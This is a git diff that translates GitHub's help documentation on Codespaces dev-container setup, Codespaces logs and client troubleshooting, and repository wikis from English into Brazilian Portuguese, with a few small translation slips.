+Para configurar seu projeto com um contêiner personalizado, você deverá usar um arquivo `devcontainer.json` para definir o ambiente. Em {% data variables.product.prodname_codespaces %}, você pode adicionar isto a partir de um modelo ou você pode criar o seu próprio. Para obter mais informações sobre contêineres de desenvolvimento, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 
 {% data reusables.codespaces.command-palette-container %}
-2. For this example, click **Python 3**. If you need additional features you can select any container that’s specific to Python or a combination of tools such as Python 3 and PostgreSQL.
-  ![Select Python option from the list](/assets/images/help/codespaces/add-python-prebuilt-container.png)
-3. Click the recommended version of Python.
-  ![Python version selection](/assets/images/help/codespaces/add-python-version.png)
-4. Accept the default option to add Node.js to your customization.
-  ![Add Node.js selection](/assets/images/help/codespaces/add-nodejs-selection.png)
+2. Para este exemplo, clique em **Python 3**. Se precisar de funcionalidades adicionais, você poderá selecionar qualquer contêiner específico para Python ou uma combinação de ferramentas como Python 3 e PostgreSQL. ![Selecione a opção Python na lista](/assets/images/help/codespaces/add-python-prebuilt-container.png)
+3. Clique na versão recomendada do Python. ![Seleção de versão Python](/assets/images/help/codespaces/add-python-version.png)
+4. Aceite a opção padrão para adicionar Node.js à sua personalização. ![Adicionar seleção de Node.js](/assets/images/help/codespaces/add-nodejs-selection.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### Anatomia do seu contêiner de desenvolvimento
 
-Adding the Python dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+A adição do modelo de contêiner de desenvolvimento do Python adiciona uma pasta `.devcontainer` à raiz do repositório do seu projeto com os seguintes arquivos:
 
 - `devcontainer.json`
-- Dockerfile
+- arquivo Docker
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+O arquivo recém-adicionado `devcontainer.json` define algumas propriedades que são descritas após a amostra.
 
 #### devcontainer.json
 
 ```json
 {
-	"name": "Python 3",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"context": "..",
-		"args": {
-			// Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9
-			"VARIANT": "3",
-			// Options
-			"INSTALL_NODE": "true",
-			"NODE_VERSION": "lts/*"
-		}
-	},
+    "name": "Python 3",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "context": "..",
+        "args": {
+            // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9
+            "VARIANT": "3",
+            // Options
+            "INSTALL_NODE": "true",
+            "NODE_VERSION": "lts/*"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash",
-		"python.pythonPath": "/usr/local/bin/python",
-		"python.linting.enabled": true,
-		"python.linting.pylintEnabled": true,
-		"python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
-		"python.formatting.blackPath": "/usr/local/py-utils/bin/black",
-		"python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
-		"python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
-		"python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
-		"python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
-		"python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
-		"python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
-		"python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash",
+        "python.pythonPath": "/usr/local/bin/python",
+        "python.linting.enabled": true,
+        "python.linting.pylintEnabled": true,
+        "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
+        "python.formatting.blackPath": "/usr/local/py-utils/bin/black",
+        "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
+        "python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
+        "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
+        "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
+        "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
+        "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
+        "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"ms-python.python",
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "ms-python.python",
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "pip3 install --user -r requirements.txt",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "pip3 install --user -r requirements.txt",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // Comment out connect as root instead. Mais informações: https://aka.ms/vscode-remote/containers/non-root.
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name our dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template.
+- **Nome** - Você pode dar qualquer nome ao nosso contêiner de desenvolvimento. Este é apenas o padrão.
+- **Build** - As propriedades de compilação.
+  - **Arquivo Docker** - No objeto de compilação, `arquivo Docker` é uma referência ao arquivo arquivo Docker que também foi adicionado a partir do template.
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **ms-python.python** - The Microsoft Python extension provides rich support for the Python language (for all actively supported versions of the language: >=3.6), including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `pip3 install -r requirements`, you can do that here.
-- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+    - **Variante**: Este arquivo contém apenas um argumento de compilação, que é a variante de nó que queremos usar e que é passada para o arquivo Docker.
+- **Configurações** - Estas são as configurações de {% data variables.product.prodname_vscode %}.
+  - **Terminal.integrated.shell.linux** - Embora o bash seja o padrão, você pode usar outros shells do terminal, fazendo a modificação.
+- **Extensões** - Estas são extensões incluídas por padrão.
+  - **ms-python. ython** - A extensão Microsoft Python fornece um amplo suporte para a linguagem do Python (para todas as versões ativamente compatíveis da linguagem: >=3.), incluindo recursos como IntelliSense, linting, depuração, navegação de código, formatação de código, refatoração, explorador de variáveis, explorador de teste e muito mais.
+- **forwardPorts** - Todas as portas listadas aqui serão encaminhadas automaticamente. Para obter mais informações, consulte "[Encaminhando portas no seu codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)".
+- **postCreateCommand** - Se você quiser executar qualquer coisa depois de pousar no seu codespace, isso não está definido no arquivo Docker como `pip3 install -r requirements`. Você pode fazer isso aqui.
+- **remoteUser** - Por padrão, você está executando como usuário do `vscode`, mas, opcionalmente, você pode definir isso como `root`.
 
-#### Dockerfile
+#### arquivo Docker
 
 ```bash
 # [Choice] Python version: 3, 3.9, 3.8, 3.7, 3.6
@@ -158,59 +155,59 @@ RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/l
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+Você pode usar o arquivo Docker para adicionar camadas adicionais de contêiner para especificar os pacotes do OS, versões de nó ou pacotes globais que queremos que sejam incluídos no nosso contêiner.
 
-## Step 3: Modify your devcontainer.json file
+## Etapa 3: Modifique seu arquivo devcontainer.json
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+Com o seu contêiner de desenvolvimento adicionado e um entendimento básico do que tudo faz, agora você pode fazer alterações para configurá-lo para o seu ambiente. Neste exemplo, você irá adicionar propriedades para instalar extensões e dependências do seu projeto quando seu codespace for iniciado.
 
-1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it.
+1. No Explorador, expanda a pasta `.devcontainer` e selecione o arquivo `devcontainer.json` a partir da árvore para abri-lo.
 
-  ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+  ![Arquivo devcontainer.json no Explorador](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Update the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+2. Atualize a lista de extensões `` no seu arquivo `devcontainer.json` para adicionar algumas extensões que são úteis ao trabalhar com seu projeto.
 
   ```json{:copy}
   "extensions": [
-		  "ms-python.python",
-		  "cstrap.flask-snippets",
-		  "streetsidesoftware.code-spell-checker",
-	  ],
+          "ms-python.python",
+          "cstrap.flask-snippets",
+          "streetsidesoftware.code-spell-checker",
+      ],
   ```
 
-3. Uncomment the `postCreateCommand` to auto-install requirements as part of the codespaces setup process.
+3. Remova o comentário o `postCreateCommand` para instalar automaticamente os requisitos como parte do processo de configuração dos codespaces.
 
   ```json{:copy}
-  // Use 'postCreateCommand' to run commands after the container is created.
+  // Use 'postCreateCommand' para executar os comandos após a criação do contêiner.
   "postCreateCommand": "pip3 install --user -r requirements.txt",
   ```
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  A reconstrução dentro do seu codespace garante que as suas alterações funcionem conforme o esperado antes de realizar o commit das alterações no repositório. Se algo falhar, você será colocado em um codespace com um contêiner de recuperação que você pode reconstruir para continuar ajustando o seu contêiner.
 
-5. Check your changes were successfully applied by verifying the Code Spell Checker and Flask Snippet extensions were installed.
+5. Verifique se suas alterações foram aplicadas com sucesso verificando se as extensões Code Spell Checker e Flask Snippet foram instaladas.
 
-    ![Extensions list](/assets/images/help/codespaces/python-extensions.png)
+    ![Lista de extensões](/assets/images/help/codespaces/python-extensions.png)
 
-## Step 4: Run your application
+## Etapa 4: Execute o seu aplicativo
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via pip3. With your dependencies now installed, you can run your application.
+Na seção anterior, você usou o `postCreateCommand` para instalar um conjunto de pacotes via pip3. Com suas dependências agora instaladas, você pode executar seu aplicativo.
 
-1. Run your application by pressing `F5` or entering `python -m flask run` in the codespace terminal.
+1. Execute seu aplicativo pressionando `F5` ou digitando `python -m Flask run` no terminal do codespace.
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. Quando o seu projeto for iniciado, você deverá ver um alerta no canto inferior direito com uma instrução para conectar-se à porta que seu projeto usa.
 
-  ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png)
+  ![Notificação de encaminhamento de porta](/assets/images/help/codespaces/python-port-forwarding.png)
 
-## Step 5: Commit your changes
+## Etapa 5: Faça commit das suas alterações
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## Próximas etapas
 
-You should now be ready start developing your Python project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+Agora você deve estar pronto para começar a desenvolver seu projeto Python em {% data variables.product.prodname_codespaces %}. Aqui estão alguns recursos adicionais para cenários mais avançados.
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [Gerenciar segredos criptografados para {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [Gerenciar a verificação de GPG para {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [Encaminhar portas no seu código](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/pt-BR/content/codespaces/the-githubdev-web-based-editor.md b/translations/pt-BR/content/codespaces/the-githubdev-web-based-editor.md
index 0c335df3df..bd04f82b77 100644
--- a/translations/pt-BR/content/codespaces/the-githubdev-web-based-editor.md
+++ b/translations/pt-BR/content/codespaces/the-githubdev-web-based-editor.md
@@ -105,3 +105,4 @@ Se você tiver problemas ao abrir {% data variables.product.prodname_serverless
 
 - O {% data variables.product.prodname_serverless %} atualmente é compatível com o Chrome (e vários outros navegadores baseados no Chromium), Edge, Firefox e Safari. Recomendamos que você use as versões mais recentes desses navegadores.
 - Algumas teclas de atalho podem não funcionar, dependendo do navegador que você estiver usando. Essas limitações de atalhos de tecla estão documentadas na seção "[Limitações e adaptações conhecidas](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" da documentação de {% data variables.product.prodname_vscode %}.
+- `.` pode não funcionar para abrir o {% data variables.product.prodname_serverless %} de acordo com o layout local do teclado. Nesse caso, você pode abrir qualquer repositório {% data variables.product.prodname_dotcom %} em {% data variables.product.prodname_serverless %} alterando o URL de `github.com` para `github.dev`.
diff --git a/translations/pt-BR/content/codespaces/troubleshooting/codespaces-logs.md b/translations/pt-BR/content/codespaces/troubleshooting/codespaces-logs.md
index f89b3d3b60..7370192537 100644
--- a/translations/pt-BR/content/codespaces/troubleshooting/codespaces-logs.md
+++ b/translations/pt-BR/content/codespaces/troubleshooting/codespaces-logs.md
@@ -23,8 +23,6 @@ As informações sobre {% data variables.product.prodname_codespaces %} são sa
 
 Esses registros contêm informações detalhadas sobre o codespace, container, sessão e ambiente de {% data variables.product.prodname_vscode %}. Eles são úteis para diagnosticar problemas de conexão e outros comportamentos inesperados. Por exemplo, o codespace congela, mas a opção "Recarregar Windows" o descongela por alguns minutos ou você será desconectado do codespace aleatoriamente, mas poderá reconectar-se imediatamente.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. Se estiver usando {% data variables.product.prodname_codespaces %} no navegador, certifique-se de que esteja conectado ao codespace que deseja depurar.
@@ -51,7 +49,6 @@ Atualmente você não pode usar {% data variables.product.prodname_cli %} para a
 
 Estes registros contêm informações sobre o contêiner, contêiner de desenvolvimento e sua configuração. Eles são úteis para depuração de configurações e problemas de instalação.
 
-{% include tool-switcher %}
 
 {% webui %}
 
@@ -77,7 +74,7 @@ Se você quiser compartilhar o registro com suporte, você poderá copiar o text
 Para ver o registro de criação, use os subcomandos `gh codespace logs`. Depois de entrar no comando, escolha entre a lista de codespaces exibidos.
 
 ```shell
-gh codespace logs 
+gh codespace logs
 ```
 
 Para obter mais informações sobre esse comando, consulte [o manual de{% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_logs).
diff --git a/translations/pt-BR/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md b/translations/pt-BR/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
index e5460831a9..95381f9370 100644
--- a/translations/pt-BR/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
+++ b/translations/pt-BR/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting Codespaces clients
-intro: 'You can use {% data variables.product.prodname_codespaces %} in your browser or through {% data variables.product.prodname_vscode %}. This article provides troubleshooting steps for common client issues.'
+title: Solucionar problemas de clientes de codespace
+intro: 'Você pode usar {% data variables.product.prodname_codespaces %} no seu navegador ou por meio de {% data variables.product.prodname_vscode %}. Este artigo fornece etapas de solução de problemas para problemas comuns do cliente.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -8,16 +8,16 @@ versions:
 type: reference
 topics:
   - Codespaces
-shortTitle: Codespaces clients
+shortTitle: Clientes de codespaces
 ---
 
-## {% data variables.product.prodname_vscode %} troubleshooting
+## Solução de problemas de {% data variables.product.prodname_vscode %}
 
-When you connect a desktop version of {% data variables.product.prodname_vscode %} to a codespace, you will notice few differences compared with working in a normal workspace but the experience will be fairly similar. 
+Ao conectar uma versão de desktop de {% data variables.product.prodname_vscode %} a um codespace, você notará poucas diferenças em comparação com o trabalho num espaço de trabalho normal, mas a experiência será bastante semelhante.
 
-When you open a codespace in your browser using {% data variables.product.prodname_vscode %} in the web, you will notice more differences. For example, some key bindings will be different or missing, and some extensions may behave differently. For a summary, see: "[Known limitations and adaptions](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" in the {% data variables.product.prodname_vscode %} docs.
+Ao abrir um codespace no navegador usando {% data variables.product.prodname_vscode %} na web, você notará mais diferenças. Por exemplo, algumas teclas vinculadas serão diferentes ou estarão ausentes e algumas extensões poderão comportar-se de maneira diferente. Para obter um resumo, consulte: "[Limitações e adaptações conhecidas](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" na documentação de {% data variables.product.prodname_vscode %}.
 
-You can check for known issues and log new issues with the {% data variables.product.prodname_vscode %} experience in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) repository.
+É possível verificar se há problemas conhecidos e registrar novos problemas com a experiência de {% data variables.product.prodname_vscode %} no repositório [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces).
 
 ### {% data variables.product.prodname_vscode %} Insiders
 
@@ -31,8 +31,8 @@ On the web version of {% data variables.product.prodname_vscode %}, you can clic
 
 If the problem isn't fixed in {% data variables.product.prodname_vscode %} Stable, please follow the above troubleshooting instructions.
 
-## Browser troubleshooting
+## Solução de problemas do navegador
 
-If you encounter issues using codespaces in a browser that is not Chromium-based, try switching to a Chromium-based browser, or check for known issues with your browser in the `microsoft/vscode` repository by searching for issues labeled with the name of your browser, such as [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) or [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari).
+Se você encontrar problemas ao usar codespaces em um navegador que não é baseado no Chromium, tente alternar para um navegador baseado no Chromium ou verifique se há problemas conhecidos com seu navegador no repositório `microsoft/vscode` procurando por problemas etiquetados com o nome do seu navegador, como, por exemplo, [`fogo-fogo`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) ou [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari).
 
-If you encounter issues using codespaces in a Chromium-based browser, you can check if you're experiencing another known issue with {% data variables.product.prodname_vscode %} in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues) repository.
+Se você encontrar problemas ao usar um codespace em um navegador baseado em Chromium, você poderá verificar se você está tendo outro problema conhecido com {% data variables.product.prodname_vscode %} no repositório [`microsoft/vscode`](https://github.com/microsoft/vscode/issues).
diff --git a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md
index a92278ed72..4656df6bb2 100644
--- a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md
+++ b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md
@@ -1,6 +1,6 @@
 ---
-title: About wikis
-intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.'
+title: Sobre wikis
+intro: Você pode hospedar a documentação para seu repositório em um wiki para que outras pessoas possam usar e contribuir com seu projeto.
 redirect_from:
   - /articles/about-github-wikis
   - /articles/about-wikis
@@ -15,24 +15,24 @@ topics:
   - Community
 ---
 
-Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to  share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)."
+Todos os repositórios em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} são equipados com uma seção para a documentação de hospedagem denominada wiki. Você pode usar o wiki do repositório para compartilhar conteúdo longo sobre seu projeto, por exemplo, como usá-lo, como ele foi projetado ou seus princípios básicos. Um arquivo README informa rapidamente o que seu projeto pode fazer, enquanto você pode usar um wiki para fornecer documentação adicional. Para obter mais informações, consulte "[Sobre README](/articles/about-readmes)".
 
-With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format.
+Com wikis, é possível gravar conteúdo assim como em qualquer outro lugar no {% data variables.product.product_name %}. Para obter mais informações, consulte "[Começando a escrever e formatar no {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)". Usamos [nossa biblioteca de markup de código aberto](https://github.com/github/markup) para converter diferentes formatos em HTML, de modo que seja possível optar por escrever em markdown ou qualquer outro formato compatível.
 
-{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+{% ifversion fpt or ghes or ghec %}Se você criar um wiki em um repositório público, o wiki ficará disponível para {% ifversion ghes %}qualquer pessoa com acesso para {% data variables.product.product_location %}{% else %}o público{% endif %}. {% endif %}Se você criar um wiki em um repositório privado{% ifversion ghec or ghes %} ou interno,{% endif %} apenas {% ifversion fpt or ghes or ghec %}as pessoas{% elsif ghae %}integrantes da empresa{% endif %} com acesso ao repositório poderão acessar o wiki. Para obter mais informações, consulte "[Configurar visibilidade do repositório](/articles/setting-repository-visibility)".
 
-You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)".
+Você pode editar wikis diretamente no {% data variables.product.product_name %} ou editar arquivos wiki localmente. Por padrão, somente as pessoas com acesso de gravação ao repositório podem fazer alterações no wikis, embora você possa permitir que todos em {% data variables.product.product_location %} contribuam para um wiki em {% ifversion ghae %}um repositório interno{% else %}público{% endif %}. Para obter mais informações, consulte "[Alterar permissões de acesso para wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)".
 
 {% note %}
 
-**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository.
+**Observação:** Os mecanismos de pesquisa não indexam o conteúdo de wikis. Para que seu conteúdo seja indexado por mecanismos de busca, você pode usar [{% data variables.product.prodname_pages %}](/pages) em um repositório público.
 
 {% endnote %}
 
-## Further reading
+## Leia mais
 
-- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)"
-- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)"
-- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)"
-- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)"
-- "[Searching wikis](/search-github/searching-on-github/searching-wikis)"
+- "[Adicionar ou editar páginas wiki](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)"
+- "[Criar um footer ou uma barra lateral para seu wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)"
+- "[Editar conteúdo do wiki](/communities/documenting-your-project-with-wikis/editing-wiki-content)"
+- "[Exibir histórico de alterações de um wiki](/articles/viewing-a-wiki-s-history-of-changes)"
+- "[Pesquisar wikis](/search-github/searching-on-github/searching-wikis)"
diff --git a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
index 9051feb405..868133466b 100644
--- a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
+++ b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Adding or editing wiki pages
-intro: 'You can add and edit wiki pages directly on {% data variables.product.product_name %} or locally using the command line.'
+title: Adicionar ou editar páginas wiki
+intro: 'Você pode adicionar e editar páginas wiki diretamente no {% data variables.product.product_name %} ou localmente usando a linha de comando.'
 redirect_from:
   - /articles/adding-wiki-pages-via-the-online-interface
   - /articles/editing-wiki-pages-via-the-online-interface
@@ -16,55 +16,47 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Manage wiki pages
+shortTitle: Gerenciar páginas wiki
 ---
 
-## Adding wiki pages
+## Adicionar páginas wiki
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. In the upper-right corner of the page, click **New Page**.
-  ![Wiki new page button](/assets/images/help/wiki/wiki_new_page_button.png)
-4. Optionally, to write in a format other than Markdown, use the Edit mode drop-down menu, and click a different format.
-  ![Wiki markup selection](/assets/images/help/wiki/wiki_dropdown_markup.gif)
-5. Use the text editor to add your page's content.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
-6. Type a commit message describing the new file you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-7. To commit your changes to the wiki, click **Save Page**.
+3. No canto superior direito da página, clique em **New Page** (Nova página). ![Botão Wiki new page (Nova página wiki)](/assets/images/help/wiki/wiki_new_page_button.png)
+4. Se preferir escrever em um formato diferente do markdown, use o menu suspenso Edite mode (Editar modo) e clique em outro formato. ![Seleção de markup do wiki](/assets/images/help/wiki/wiki_dropdown_markup.gif)
+5. Use o editor de texto para adicionar o conteúdo da página. ![WYSIWYG do wiki](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. Digite uma mensagem do commit descrevendo o novo arquivo que você está adicionando. ![Mensagem do commit do wiki](/assets/images/help/wiki/wiki_commit_message.png)
+7. Para fazer commit das alterações no wiki, clique em **Save Page** (Salvar página).
 
-## Editing wiki pages
+## Editar páginas wiki
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-4. Using the wiki sidebar, navigate to the page you want to change. In the upper-right corner of the page, click **Edit**.
-   ![Wiki edit page button](/assets/images/help/wiki/wiki_edit_page_button.png)
-5. Use the text editor edit the page's content.
-   ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
-6. Type a commit message describing your changes.
-   ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-7. To commit your changes to the wiki, click **Save Page**.
+4. Usando a barra lateral do wiki, navegue até a página que deseja alterar. No canto superior direito da página, clique em **Edit** (Editar). ![Botão Wiki edit page (Editar página wiki)](/assets/images/help/wiki/wiki_edit_page_button.png)
+5. Use o editor de texto para editar o conteúdo da página. ![WYSIWYG do wiki](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. Digite uma mensagem do commit descrevendo as alterações. ![Mensagem do commit do wiki](/assets/images/help/wiki/wiki_commit_message.png)
+7. Para fazer commit das alterações no wiki, clique em **Save Page** (Salvar página).
 
-## Adding or editing wiki pages locally
+## Adicionar ou editar páginas wiki localmente
 
-Wikis are part of Git repositories, so you can make changes locally and push them to your repository using a Git workflow.
+Os wikis fazem parte dos repositórios Git, de modo que é possível fazer alterações localmente e fazer push delas no seu repositório usando o fluxo de trabalho Git.
 
-### Cloning wikis to your computer
+### Clonar wikis para seu computador
 
-Every wiki provides an easy way to clone its contents down to your computer.
-You can clone the repository to your computer with the provided URL:
+Cada wiki fornece uma maneira fácil de clonar o respectivo conteúdo para seu computador. Você pode clonar o repositório no seu computador com a URL fornecida:
 
 ```shell
 $ git clone https://github.com/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.wiki.git
-# Clones the wiki locally
+# Clona o wiki localmente
 ```
 
-Once you have cloned the wiki, you can add new files, edit existing ones, and commit your changes. You and your collaborators can create branches when working on wikis, but only changes pushed to the default branch will be made live and available to your readers.
+Depois de clonar o wiki, é possível adicionar novos arquivos, editar os existentes e fazer commit das alterações. Você e seus colaboradores podem criar branches ao trabalhar em wikis, mas somente as alterações enviadas por push ao branch-padrão serão ativadas e disponibilizadas para os seus leitores.
 
-## About wiki filenames
+## Sobre nomes de arquivo de wiki
 
-The filename determines the title of your wiki page, and the file extension determines how your wiki content is rendered.
+O nome de arquivo determina o título da sua página wiki e a extensão do arquivo determina como o conteúdo do wiki será renderizado.
 
